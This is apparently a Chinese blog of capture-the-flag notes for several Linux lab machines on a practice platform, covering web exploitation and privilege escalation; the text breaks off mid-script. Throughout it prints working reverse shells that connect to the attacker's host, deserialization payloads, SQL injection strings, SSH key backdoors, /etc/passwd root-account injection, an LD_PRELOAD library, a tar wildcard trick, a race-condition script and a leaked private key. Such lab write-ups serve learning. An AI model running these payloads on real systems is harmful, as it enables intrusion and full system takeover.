最近在练习渗透,找到一个单靶机渗透挺好的平台:https://maze-sec.com 题目基本上是Web渗透+Linux提权,有些还挺有意思的,和云境不太一样。记录一下我的做题笔记
lanSSudoyy 靶机:lanSSudoyy 作者:wea5e1 (QQ: 3522700034) 靶机ID: 618 系统:Linux 难度:baby
开了22和80端口,80端口有个index.php
Web逻辑漏洞 直接输-10000就能刷钱了,拿到ssh
cat user.txt拿到flag
CVE-2021-3156提权 看一下sudo版本,1.8.23,可以打CVEhttps://bgithub.xyz/worawit/CVE-2021-3156 直接上传脚本,运行poc即可。
JNDI 靶机:JNDI 作者:S@Ku_γA (QQ: 2312194090) 靶机ID: 620 系统:Linux 难度:Medium
扫描找到四个端口
[867ms] [*] 端口开放 192.168.56.102:22 [948ms] [*] 端口开放 192.168.56.102:80 [951ms] [*] 端口开放 192.168.56.102:8009 [983ms] [*] 端口开放 192.168.56.102:8080
JNDI注入 目录扫出来一个http://192.168.56.102:8080/jndi.jsp,应该是题目入口,打jndi注入,虽然是黑盒,怀疑直接就是把参数填到lookup里去了
本地配的host模式网卡,不出网,懒得调dnslog了,最后用javax.naming.spi.ObjectFactory打通:
import java.io.InputStream;import java.io.OutputStream;import java.net.Socket;import java.util.Hashtable;import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;public class JavaReverseFactory8A implements ObjectFactory { private static boolean launched = false ; static { launch(); } @Override public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) { launch(); return null ; } private static synchronized void launch () { if (launched) { return ; } launched = true ; Thread thread = new Thread (JavaReverseFactory8A::reverse); thread.setDaemon(true ); thread.start(); } private static void reverse () { Socket socket = null ; Process process = null ; try { socket = new Socket ("192.168.56.1" , 9999 ); process = new ProcessBuilder ("/bin/bash" , "-i" ).redirectErrorStream(true ).start(); InputStream processOut = process.getInputStream(); InputStream socketIn = socket.getInputStream(); OutputStream processIn = process.getOutputStream(); OutputStream socketOut = socket.getOutputStream(); byte [] buffer = new byte [4096 ]; while (!socket.isClosed()) { while (processOut.available() > 0 ) { int length = processOut.read(buffer); if (length > 0 ) { socketOut.write(buffer, 0 , length); } } while (socketIn.available() > 0 ) { int length = socketIn.read(buffer); if (length > 0 ) { processIn.write(buffer, 0 , length); } } socketOut.flush(); processIn.flush(); try { process.exitValue(); break ; } catch (Exception ignored) { } Thread.sleep(50 ); } } catch (Exception ignored) { } finally { try { if (process != null ) { process.destroy(); } } catch (Exception ignored) { } try { if (socket != null ) { socket.close(); } } catch (Exception ignored) { } } } }
python -m http.server 1234 --bind 192.168.56.1 javac --release 8 JavaReverseFactory8A.java java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.56.1:1234/#JavaReverseFactory8A" 13897
拿shell:
写个公钥后门进去,稳一下shell
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqGKhvtr2I7DqCgIoQD7n0ovhsp1eUsy9WrhRAJSq7N7/zkDVL8Wbw5Rd/dbPfnKulJT0uE2uN6zb/+/jU245k3/BhMsHfM2JHH2at5xdzfT1JF62bODgdNbXL+60oSZochRktiP/YGDEU3xBwGce/goT14UM34IrJ96KMtpJiJCKFOFbYs/jcRDmaZlodv+xtcFGRUsNYbMDAt/L991YCQ998BPaAFUQi9LEFZMMUowmmbmohW/AyRPjrNW/MgpjK6LMreOX5qPKUvxHaUwRjYyjg645f3ARlYvEEZlGRdpHz7QJ8TtV5aScd0t0f49ccbJu3zT/q0me2cgDf/57xe41YHWYzl4h7jLtwOJwpbdG9D8jmuGM/zN0LnNoWFJqRGJ3936RM8bmi+SVgaC85pU2JrN2Scv348DoHbbbMFHYoTQ2Ynm2ATPxOtset8vlfpVGGjdH0iWTc/5xw/A4qQJrE1ZmKEcxt/Hr2FX9VvlySXao2id6VfiramC+702a4o6y0NBXrrqpQgY0Qed5ybpYSeADqqEk9y65SHvaG4AckLGisKlM76UiB7ansODml+Lipk0UXB6Y6VD5Xh5H2NJPdDSjp8RFCsV0EYP9F/oLoLvKN+ij/KrPgNDozvJkN5NCtVDZhfGYuY0xtxa7m2eApn5qiDs0TOdMAq1j3Dw== enen@XiaohaoVictusGamingLaptop" > ~/.ssh/authorized_keys
提权1:basename -a参数拼接,执行提权类 在/usr/message里面看到一个jpg图片,string能看到liz的口令:
最后试出来liz的密码是sanmuximei 看bashhistory,可以看到比较可疑的/opt/java_agent_start.sh和a.sh,同时opt这个目录可以全局写
sudo -l 看到这里有/opt/java_agent_start.sh,那就对上了,应该要加载一个提权的类来拿root
file_name=/opt/file/tmp file_line=$(awk 'NR==1 {print;exit}' "$file_name " ) file_line=$(basename $file_line )cd /optecho $file_line /usr/local/java/jdk1.8.0_20/bin/java -agentpath:/usr/local/java/jdk1.8.0_20/jre/lib/amd64/$file_line test
这个前三行提取tmp的第一行作为后续启动的参数,查了下basename的命令,这里使用basename的时候没有加引号,后面的启动命令里这个$file_line也没加,tmp又可控,可以直接利用
在tmp前面加上:-a libhprof.so -Djava.ext.dirs=file RootDropper8,拼成basename -a libhprof.so -Djava.ext.dirs=file RootDropper8,basename会以空格为界,加上换行符,拼成:file_line=$'libhprof.so\n-Djava.ext.dirs=file\nRootDropper8' 最后的启动命令:
usr/local/java/jdk1.8.0_20/bin/java \ -agentpath:/usr/local/java/jdk1.8.0_20/jre/lib/amd64/libhprof.so \ -Djava.ext.dirs=file \ RootDropper8 \test
这样把-Djava.ext.dirs=file作为jvm的新的启动参数,RootDropper8作为新的主类
RootDropper8:
import java.io.IOException;public class RootDropper8 { static { run(); } public static void main (String[] args) { run(); } private static void run () { String[] commands = { "/bin/sh" , "-c" , "cp /bin/bash /home/bluebird/rootsh" }; try { new ProcessBuilder (commands).redirectErrorStream(true ).start().waitFor(); } catch (IOException | InterruptedException ignored) { Thread.currentThread().interrupt(); } } }
在tmp后面加上jar,让jvm去解析后面的类:
cat /tmp/payload.jar >> /opt/file/tmp
最后sudo /bin/bash /opt/java_agent_start.sh即可生成rootsh
提权2:JDWP远程调试 JDWP是Java提供的调试协议,在加载的时候可以让它在指定的端口开一个调试服务。在JAVA中,调试器拥有最高权限,可以随意实例化对象、调用方法,包括Runtime.getRuntime().exec()来RCE
同样的,还是利用tmp可写,我们把启动调试的命令写进去:
echo "libjdwp.so=transport=dt_socket,server=y,address=8000,suspend=y" > /opt/file/tmpsudo /bin/bash /opt/java_agent_start.sh
开启调试:
原来的test的程序很简单,就是打印一个helloworld,那么我们在println的地方打上断点即可
![[Pasted image 20260327222759.png]]
Tentacle 靶机:Tentacle 作者:Sublarge (QQ: 1469196548) 靶机ID: 605 系统:Linux 难度:Medium
通过代理SSRF到5000 信息搜集一下,3128是一个squid的代理,在网上找到vulnhub的一个类似的靶机:https://www.cnblogs.com/LINGX5/p/18437965 ,使用这个代理,怀疑可以ssrf到127.0.0.1
同时在http://192.168.56.103/~operator/Tentacle能发现app.py,拿到源码,接口什么的很清楚了 ![[Pasted image 20260328220700.png]] 在5000起了个服务,auth未校验,传入了一个task_data,进行了pickle.loads,打pickle反序列化
首先先成功打通代理
import requests r = requests.get( "http://127.0.0.1:5000/api/status" , proxies={"http" : "http://192.168.56.103:3128" }, timeout=10 , )print (r.status_code, r.text)
Pickle反序列化 裸的pickle反序列化,就是要注意payload生成要在linux环境下,我一开始在window环境下弄了半天就是弹不到shell
import pickleimport osimport base64class A (object ): def __reduce__ (self ): a = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.56.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'""" a = A() pickle_a = pickle.dumps(a)print (base64.b64encode(pickle_a).decode())
exp:
import pickleimport osimport base64import requests payload = "gASV/wAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjORweXRob24gLWMgJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCIxOTIuMTY4LjU2LjEiLDEyMzQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOyeUhZRSlC4=" try : headers = { "Content-Type" : "application/x-www-form-urlencoded" } data = { "task_data" : payload } proxy = "http://192.168.56.103:3128" proxies = { "http" : proxy, "https" : proxy } response = requests.post( "http://127.0.0.1:5000/api/deploy" , data=data, headers=headers, proxies=proxies ) print (f"\n[+] Response Status: {response.status_code} " ) print (f"[+] Response Body: {response.text} " )except Exception as e: print (f"[-] Error: {e} " )
拿shell之后写公钥后门进去,成功登录:
SSH泄露 SSH私钥爆破 前面从http://192.168.56.103/~operator/Tentacle读出源码说明Apache的mod_userdir是开着的,可以通过相似的格式读一些别的内容,public_html 会被映射为 /username/ 形式对外提供访问。实现了将 URL: `http://服务器地址/用户名/ 映射到文件系统路径: /home/用户名/public_html/`
访问http://192.168.56.103/~licksore/.ssh找到泄露的私钥,用john the ripper破解私钥的加密短语,字典rockyou。
python ssh2john.py privatekey.txt > keyhash.txt john.exe --wordlist=rockyou5000.txt keyhash.txt john.exe --show keyhash.txt
拿到密码justice,拿口令登录ssh 我这里直接有xterminal拿了,如果是windows,有可能会提示私钥权限过大,去掉权限继承,只保留所有者权限:
$user = "$env:COMPUTERNAME \$env:USERNAME " icacls "rsakey" /inheritance:r icacls "rsakey" /grant:r "$ {user}:F" icacls "rsakey" /remove "BUILTIN\Users"
ssh -i id_rsa licksore@192.168.56.103
Apk Sudo提权 参考:https://blog.csdn.net/2301_79518550/article/details/158431683
sudo -l 看到/sbin/apk有权限,是apk提权,挺有意思,之前没见过
按步骤执行即可
准备目录
mkdir -p /tmp/evil-pkg/pkgcd /tmp/evil-pkg
创建元文件.pkginfo
cat > pkg/.PKGINFO << 'EOF' pkgname = evil-pwn pkgver = 1.0.0 pkgdesc = Test package for privilege escalation demo url = http://example.com builddate = 1735680000 packager = root <root@localhost> size = 4096arch = x86_64 EOF
创建post-install脚本
cat > pkg/.post-install << 'EOF' set -eecho 'root2:aacFCuAIHhrCM:0:0:root:/root:/bin/sh' >> /etc/passwdecho " [!] Exploit payload executed successfully!" EOFchmod +x pkg/.post-install
打包成apk
cd pkg tar -czf ../evil-pwn.apk .PKGINFO .post-install cd ..
提权
sudo apk add --allow-untrusted ./evil-pwn.apk
或者:
Tentacle:~$ cd /tmp Tentacle:~$ mkdir -p build_pkg Tentacle:~$ cd build_pkg
Tentacle:~$ vim .PKGINFO pkgname = rootpwn pkgver = 1.0-r0 pkgdesc = privilege escalation size = 1000
Tentacle:~$ vim .pre-installecho 'hacker:$1$DhMw2ANK$s0Iu1RQPCyn8jbR7asAjl0:0:0:hack,,,:/root:/bin/bash' >> /etc/passwdexit 0 Tentacle:~$ chmod +x .pre-install Tentacle:~$ tar -czf rootpwn-1.0-r0.apk .PKGINFO .pre-install
Tentacle:~$ sudo /sbin/apk add --allow-untrusted ./rootpwn-1.0-r0.apk Tentacle:~$ su hacker
HackMe 靶机:HackMe 作者:Joker-xue (QQ: 1019443746) 靶机ID: 615 系统:Linux 难度:Easy
php反序列化 什么都没有,图片尾部放了一份源码,php反序列化
class Starter { public $obj ; public function execute ( ) { echo $this ->obj; } }class Middle { public $target ; public function __toString ( ) { return $this ->target->run (); } }class Runner { public $command ; public function run ( ) { system ($this ->command); } }if (isset ($_POST ['data' ])) { $data = base64_decode ($_POST ['data' ]); if ($data !== false ) { $obj = unserialize ($data ); if (is_object ($obj ) && method_exists ($obj , 'execute' )) { $obj ->execute (); } } exit ; }
exp:
<?php class Starter { public $obj ; public function __construct ($obj ) { $this ->obj = $obj ; } public function execute ( ) { echo $this ->obj; } }class Middle { public $target ; public function __construct ($target ) { $this ->target = $target ; } public function __toString ( ) { return $this ->target->run (); } }class Runner { public $command ; public function __construct ($command ) { $this ->command = $command ; } public function run ( ) { system ($this ->command); return "" ; } }$command = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.56.1\",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'" ;$a = new Starter (new Middle (new Runner ($command )));$b = serialize ($a );echo base64_encode ($b );?>
成功弹到shell
本地ssh登录至joker 之前jpg后面还藏了一个用户密码:joker:@-joker-@-123421-@,弹到shell之后拿一个交互式终端,ssh登录joker:
python3 -c 'import pty; pty.spawn("/bin/bash")' /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")' ssh joker@127.0.0.1
原来su不行还可以这样切换账号 学到了。
提权:自定义arp后门 ps aux | grep root看进程里面有这个arp服务
看一下这个服务的相关信息,描述是 ARP Command Listener,应该是要使用恶意arp请求提权
看了群友的wp,这里其实上是在arp包加上执行命令的padding来达到后门的效果,测试发现如果直接加命令的话,返回的是这样一个包:
要b"CMD:" + cmd.encode()才行
from scapy.all import * TARGET_IP = "192.168.56.104" IFACE = "以太网 2" eth = Ether(dst="ff:ff:ff:ff:ff:ff" , src="08:00:27:3e:7e:2b" ) arp = ARP(op=1 , hwsrc="08:00:27:3e:7e:2b" , psrc="192.168.56.11" , pdst=TARGET_IP) cmd = "id" payload = b"CMD:" + cmd.encode() packet = eth / arp / Raw(load=payload) ans = srp1(packet, iface=IFACE, timeout=5 , verbose=False )
权限是root,测试会发现长度还会有限制,命令长度<=6 那就用joker权限写个拿rootshell的脚本,用root运行
cat << EOF> /tmp/x #!/bin/bash cp /bin/bash /tmp/rootbash chmod +s /tmp/rootbash EOF chmod +x /tmp/x
用前面的脚本再次发包即可,命令是/tmp/x,刚刚好6个字符
Twice 靶机:Twice 作者:ll104567 靶机ID:621 系统:Linux
ssh端口复用
只开了一个22端口,一开始以为是爆破ssh,但是这里用户名又不知道,不可能上来就爆破root密码
实际上这里是一个端口复用,去curl这个22端口,发现可以返回,也就是说这个22端口实际上还可以处理http请求: 那么我们扫一下目录:
私钥ssh登录 嗯,backup拿下来,zip解压之后一个tar,再解压就可以拿到一个私钥:
-----BEGIN OPENSSH PRIVATE KEY----- b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW QyNTUxOQAAACAOj2572/tCLfHeT69ZHrshlKzpRLjvT7VxCOD7kh7E8QAAAJhClDZnQpQ2 ZwAAAAtzc2gtZWQyNTUxOQAAACAOj2572/tCLfHeT69ZHrshlKzpRLjvT7VxCOD7kh7E8Q AAAEBiC8Y0FCRmWZR7Jg9b2ITBZ+U/gZ47vONK0eOzCr1k0w6Pbnvb+0It8d5Pr1keuyGU rOlEuO9PtXEI4PuSHsTxAAAADmN5bC1sb3ZlQFR3aWNlAQIDBAUGBw== -----END OPENSSH PRIVATE KEY-----
然后重新提权公钥的内容:
ssh-keygen -y -f id_ed25519
看到生成公钥时候的主机名和用户名cyl-love@Twice 然后用私钥登录即可:
ssh -i id_ed25519 cyl-love@192.168.56.108
环境变量注入提权
出题人设计好的链子,打sslh + LD_PRELOAD +reboot环境变量注入提权
看一下基本的: 看到可以sudo reboot ,/etc/default/sslh可写,一开始发现这个pkexec版本符合CVE-2021-4034,尝试打了一下,发现打不通,应该打过补丁了,不是这个地方提权。那就是要考虑sudo reboot 和/etc/default/sslh这两个地方
cyl-love@Twice:~$ cat /etc/default/sslh DAEMON=/usr/sbin/sslh DAEMON_OPTS="--user root --listen 0.0.0.0:22 --ssh 127.0.0.1:2222 --http 127.0.0.1:80 --pidfile /var/run/sslh/sslh.pid"
对应的service:
cyl-love@Twice:/$ cat /lib/systemd/system/sslh.service [Unit] Description=SSL/SSH multiplexer After=network.target Documentation=man:sslh(8) [Service] EnvironmentFile=/etc/default/sslh ExecStart=/usr/sbin/sslh --foreground $DAEMON_OPTS KillMode=process [Install] WantedBy=multi-user.target
可以看到EnvironmentFile=/etc/default/sslh这里是把我们可写的文件当做环境变量来启动
同时程序以root启动:
那么这里就可以有一个链子了:首先我们可以写一个LD_PRELOAD进去,LD_PRELOAD可以做到在程序运行前把一个能自动运行的恶意so加载到进程中:
echo 'LD_PRELOAD=/home/cyl-love/evil.so' >> /etc/default/sslh
这时我们在用sudo reboot重启后,触发sslh服务重新启动,就会以root加载我的so,而我的so又可以自动执行,那么就可以提权了。
evil.so:
#include <unistd.h> #include <stdlib.h> #include <sys/stat.h> __attribute__((constructor)) void init () { unsetenv("LD_PRELOAD" ); system("cp /bin/bash /tmp/rootsh; chown root:root /tmp/rootsh; chmod 4755 /tmp/rootsh; sed -i '/^LD_PRELOAD=/d' /etc/default/sslh" ); }
gcc -shared -fPIC -o /home/cyl-love/evil.so /home/cyl-love/evil.c
Calc. 靶机ID: 633 名称: Calc. 作者: kaada (QQ: 3391510372) 系统: Linux 难度: Easy
MariaDB SQL注入 扫出来80,8080,和22。80端口存在sql注入,有报错回显,是一个MariaDB:2 and extractvalue(1, concat(0x7e, database())) # 数据库名:calc_db
1 and extractvalue(1, concat(0x7e,(select @@version_compile_os),0x7e))# 操作系统:debian-linux-gnu
1 and extractvalue(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='calc_db' limit 0,1),0x7e))#1 表名:track_info、webapp_users、access_logs、system_config
1 and extractvalue(1, concat(0x7e, (select column_name from information_schema.columns where table_schema='calc_db' and table_name='track_info' limit 0,1), 0x7e))#1 列名:
track_info: id,track_name,lyric webapp_users: id,password access_logs: id,ip_address,access_time system_config: id,config_name,jdbc_url
1 and extractvalue(1, concat(0x7e,(select concat(id,0x7e,config_name,0x7e,jdbc_url) from calc_db.system_config limit 0,1),0x7e))#
最后发现注出来有一个webapp_users: JimmyThumb_Calc_2010,Jimmy
很简单的sql注入,用sqlmap也可以:
登录即可
jdbc反序列化 有关TODO.txt,给了我们数据库的密码calc_user:vocaloid_miku_01和一个jar文件 ps能看到有java
cron.d中能看到一个calc_sync的定时任务
每分钟由root执行这个jar
* * * * * root /usr/bin/java -jar /opt/backend_sync.jar >/dev/null 2>&1
刚刚我们sql注入还注出来了一个system_config.jdbc_url,反编译一下sync这个jar,com.sync.SyncTask看到
DriverManager.getConnection(executeQuery.getString("jdbc_url")).close();这个地方从数据库读取jdbcconfig然后连接。然后数据库密码拿到了,这个jdbcurl是可控的。
再看看 backend_sync.jar 内的依赖:
MySQL 驱动版本:mysql-connector-java 5.1.48
同时存在:commons-collections 3.2.1
很明显,打jbdc反序列化
先把数据库中的jdbc url改了,使用这个url:
jdbc:mysql://192.168.56.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=privesc&password=x&maxAllowedPacket=655360
/tmp/privesc.sh:
#!/bin/bash cp /bin/bash /tmp/rbash_rootchmod 4755 /tmp/rbash_root
https://github.com/fnmsd/MySQL_Fake_Server
在本地起一个恶意服务,等待脚本定时任务执行完成拿到bash即可(用了py313没打通,换py311就好了)
Ruoyi 靶机ID: 624 靶机:Ruoyi 作者:场_room (QQ: 2180757244) 系统:Linux 难度:Easy
Ruoyi文件读取&反序列化漏洞 22和80开着,80登上去一个ruoyi
尝试里一下shiro的默认密钥,没发现啥
查看源代码发现注释给了我们一个接口: 注册进去翻一下后台,没什么东西,登录进去拿到cookie之后再用工具扫一下:
目录穿越: 那么接下来我们还是尝试拿AES密钥 环境变量:
USER=fortonight�HOME=/home/fortonight�CATALINA_HOME=/opt/tomcat�CATALINA_PID=/opt/tomcat/temp/tomcat.pid�LOGNAME=fortonight�JDK_JAVA_OPTIONS= --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED�PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin�INVOCATION_ID=a1d6a0bcac9747bf9f924b668f5b6f8f�LANG=en_US.UTF-8�SHELL=/bin/bash�JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64�PWD=/opt/tomcat�CATALINA_BASE=/opt/tomcat�
最终在这里找到:/opt/tomcat/webapps/ROOT/WEB-INF/classes/application.ymlIUAjJE1hWmUlXiYqMjAyNg==
然后直接打shiro反序列化 写个公钥后门进去:
定时器配置提权 Linpeas扫一下可以看见一个ops组 详细看一下
这个组有一个py,而且还是可读可写:
fortonight@Ruoyi:~$ find / -type f -group ops 2>/dev/null /opt/opsagent/plugins/netmon.py fortonight@Ruoyi:~$ cat /opt/opsagent/plugins/netmon.py import os import socket def collect(): return { "hostname" : socket.gethostname(), "uid" : os.getuid(), "euid" : os.geteuid() } fortonight@Ruoyi:~$ ls -al /opt/opsagent/plugins/netmon.py -rw-rw-r-- 1 root ops 158 Mar 30 04:38 /opt/opsagent/plugins/netmon.py
发现是一个服务在运行这个脚本
fortonight@Ruoyi:~$ systemctl list-units | grep -i ops ops-report.timer loaded active waiting Run ops report periodically fortonight@Ruoyi:~$ systemctl cat ops-report.timer [Unit] Description=Run ops report periodically [Timer] OnBootSec=2min OnUnitActiveSec=1min Unit=ops-report.service [Install] WantedBy=timers.target fortonight@Ruoyi:~$ systemctl cat ops-report.service [Unit] Description=Ops Report Generator After=network.target [Service] Type=oneshot User=root WorkingDirectory=/opt/opsagent ExecStart=/usr/bin/python3 /opt/opsagent/reporter.py
这是一个和cron定时任务作用差不多的一个定时器配置,可以看见配置写的是系统启动后2分钟触发,之后每隔1分钟触发。这个服务作用就是每隔1分钟执行一次reporter.py
这样就行了,等待定时任务触发即可提权
The_Lazy_Admin The_Lazy_Admin 作者:Eecho (QQ: 1784886491) 靶机ID: 636 系统:Linux 难度:Easy
cgi-bin RCE
tomcat 9.0.107,尝试打了CVE,没打通
dirsearch扫出来一个http://192.168.56.111/cgi-bin/,一般会存放一些可执行脚本,以.cgi结尾。进一步扫描一下
看到test和vuln是200 看一下vuln.cgi,发现可以直接命令执行的: 反弹shell
busybox nc 192.168.56.1 9998 -e /bin/bash
sudo -l 发现可以直接su - 111
tar命令拼接 定时任务提权 写个公钥后门进去先:
111@Eecho:~$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqGKhvtr2I7DqCgIoQD7n0ovhsp1eUsy9WrhRAJSq7N7/zkDVL8Wbw5Rd/dbPfnKulJT0uE2uN6zb/+/jU245k3/BhMsHfM2JHH2at5xdzfT1JF62bODgdNbXL+60oSZochRktiP/YGDEU3xBwGce/goT14UM34IrJ96KMtpJiJCKFOFbYs/jcRDmaZlodv+xtcFGRUsNYbMDAt/L991YCQ998BPaAFUQi9LEFZMMUowmmbmohW/AyRPjrNW/MgpjK6LMreOX5qPKUvxHaUwRjYyjg645f3ARlYvEEZlGRdpHz7QJ8TtV5aScd0t0f49ccbJu3zT/q0me2cgDf/57xe41YHWYzl4h7jLtwOJwpbdG9D8jmuGM/zN0LnNoWFJqRGJ3936RM8bmi+SVgaC85pU2JrN2Scv348DoHbbbMFHYoTQ2Ynm2ATPxOtset8vlfpVGGjdH0iWTc/5xw/A4qQJrE1ZmKEcxt/Hr2FX9VvlySXao2id6VfiramC+702a4o6y0NBXrrqpQgY0Qed5ybpYSeADqqEk9y65SHvaG4AckLGisKlM76UiB7ansODml+Lipk0UXB6Y6VD5Xh5H2NJPdDSjp8RFCsV0EYP9F/oLoLvKN+ij/KrPgNDozvJkN5NCtVDZhfGYuY0xtxa7m2eApn5qiDs0TOdMAq1j3Dw== enen@XiaohaoVictusGamingLaptop" > ~/.ssh/authorized_keys echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDqGKhvtr2I7DqCgIoQD7n0ovhsp1eUsy9WrhRAJSq7N7/zkDVL8Wbw5Rd/dbPfnKulJT0uE2uN6zb/+/jU245k3/BhMsHfM2JHH2at5xdzfT1JF62bODgdNbXL+60oSZochRktiP/YGDEU3xBwGce/goT14UM34IrJ96KMtpJiJCKFOFbYs/jcRDmaZlodv+xtcFGRUsNYbMDAt/L991YCQ998BPaAFUQi9LEFZMMUowmmbmohW/AyRPjrNW/MgpjK6LMreOX5qPKUvxHaUwRjYyjg645f3ARlYvEEZlGRdpHz7QJ8TtV5aScd0t0f49ccbJu3zT/q0me2cgDf/57xe41YHWYzl4h7jLtwOJwpbdG9D8jmuGM/zN0LnNoWFJqRGJ3936RM8bmi+SVgaC85pU2JrN2Scv348DoHbbbMFHYoTQ2Ynm2ATPxOtset8vlfpVGGjdH0iWTc/5xw/A4qQJrE1ZmKEcxt/Hr2FX9VvlySXao2id6VfiramC+702a4o6y0NBXrrqpQgY0Qed5ybpYSeADqqEk9y65SHvaG4AckLGisKlM76UiB7ansODml+Lipk0UXB6Y6VD5Xh5H2NJPdDSjp8RFCsV0EYP9F/oLoLvKN+ij/KrPgNs 111@Eecho:~$ en@XiaohaoVictusGamingLaptop" > ~/.ssh/authorized_keys
定时任务看到一个shell.sh,每分钟执行 功能是将/var/www打包成tar,那么我们可以这样子提权:
echo "chmod +s /bin/bash" > /var/www/html/shell.sh touch "/var/www/html/--checkpoint=1" touch "/var/www/html/--checkpoint-action=exec=sh shell.sh"
这样tar在进行打包的时候,会把文件名当做参数来进行拼接,最终可以拼接成
tar --checkpoint=1 --checkpoint-action=exec=sh shell.sh ...
即:
先解析所有选项 → 注册 checkpoint 间隔 + 注册 checkpoint 动作
再开始打包 → 每处理1个文件触发 checkpoint → 执行 sh shell.sh
Link2 靶机:Link2 作者:群主 (QQ: 1045670921) 靶机ID: 639 系统:Linux 难度:Easy
文件读取 开着一个12138,网站首页也有提示
nc连上去发现是一个文件读取的程序,测一下过滤了..,并且必须以/home/user12138开头,先把flag-user读出来:.bash.history看到mysql密码 william / fN10MaXtaEY5VJWJ65ni可以直接登录ssh
软连接 一开始想读user12138的私钥,发现输出有长度限制。根据文件读取,想到写软连接:ln -s /root /tmp/abc
其实这个题目还有更深入的可以研究,首先我们看见/opt下面有对应的读取文件程序,打开看一下
/home/user12138和/tmp是在白名单里面的
后面这里,if ( (stat_buf.st_mode & 0xF000) == 0xA000 )虽然判断了软连接,但是只是判断buf本身是不是软连接,如果前面的路径里面已经读取了软连接,解析的时候还是会跟过去。这里的判断实际上不起作用。
另外还可以打toctou条件竞争。根据逻辑,是先判断lstat()是否为软连接,然后用open()打开。所以可以在判断完之后立即替换成软连接
import osimport socketimport threadingimport ctypesimport shutil A = "/tmp/raceA" B = "/tmp/raceB" TARGET = "root.txt" REAL_DIR = "/root" FAKE_DATA = "FAKEFLAG\n" HOST = "127.0.0.1" PORT = 12138 libc = ctypes.CDLL("libc.so.6" , use_errno=True ) renameat2 = libc.renameat2 renameat2.argtypes = [ctypes.c_int, ctypes.c_char_p, ctypes.c_int, ctypes.c_char_p, ctypes.c_uint] renameat2.restype = ctypes.c_int AT_FDCWD = -100 RENAME_EXCHANGE = 2 def remove_path (path ): try : if os.path.islink(path) or os.path.isfile(path): os.unlink(path) elif os.path.isdir(path): shutil.rmtree(path) except FileNotFoundError: pass def setup (): remove_path(A) remove_path(B) os.mkdir(A) with open (os.path.join(A, TARGET), "w" ) as f: f.write(FAKE_DATA) os.symlink(REAL_DIR, B)def race_swap (stop_event ): a = A.encode() b = B.encode() while not stop_event.is_set(): renameat2(AT_FDCWD, a, AT_FDCWD, b, RENAME_EXCHANGE)def try_read (): s = socket.socket() s.settimeout(0.5 ) s.connect((HOST, PORT)) s.sendall((A + "/" + TARGET + "\n" ).encode()) data = b"" try : while True : chunk = s.recv(4096 ) if not chunk: break data += chunk except : pass s.close() return datadef main (): setup() stop_event = threading.Event() t = threading.Thread(target=race_swap, args=(stop_event,), daemon=True ) t.start() try : for _ in range (100000 ): data = try_read() if not data: continue if b"FAKEFLAG" in data: continue if b"Symbolic links are not allowed" in data: continue if b"Error accessing path" in data: continue print ("[+] race success:" ) print (data.decode(errors="replace" )) break finally : stop_event.set () t.join(timeout=1 ) remove_path(A) remove_path(B)if __name__ == "__main__" : main()
另外,还可以打最新的cve-2026-41651,这个是直接拿shell的
Cha 靶机:Cha 作者:群主 (QQ: 1045670921) 靶机ID: 640 系统:Linux 难度:Easy
条件竞争
扫出来一个file.php,是一个文件管理系统,找到github项目,admin:admin@123默认密码可以登录
尝试一下可以发现目录没有写权限,不能直接编辑index.php,也不能创建文件。
网上搜了一下相关的cve,发现这个地方存在ssrf,重点测试了一下,发现同名文件是可以upload成功的来进行覆盖的,但是首页没能发生变化,所以怀疑是有实时的脚本对index.php进行还原
尝试一下打竞争,让ai搓了个脚本:
import re, requests, random, sys BASE='http://192.168.56.113/file.php' TARGET='http://192.168.56.113/index.php' PAYLOAD='http://192.168.56.1:8001/index.php?v=exec3' if len (sys.argv) > 2 and sys.argv[1 ] in ('-f' ,'--file' ): with open (sys.argv[2 ], 'r' , encoding='utf-8' ) as fh: CMD = fh.read().strip()elif len (sys.argv) > 1 : CMD=' ' .join(sys.argv[1 :])else : CMD=sys.stdin.read().strip() or 'id' s=requests.Session() s.headers['Connection' ]='keep-alive' r=s.get(BASE, timeout=10 ) t=re.search(r'name="token" value="([0-9a-f]{64})"' , r.text).group(1 ) r=s.post(BASE, data={'fm_usr' :'admin' ,'fm_pwd' :'admin@123' ,'token' :t}, timeout=10 ) m=re.search(r'name="token" value="([0-9a-f]{64})"' , r.text)if m: t=m.group(1 )for round in range (35 ): try : s.post(BASE+'?p=&upload' , data={'type' :'upload' ,'uploadurl' 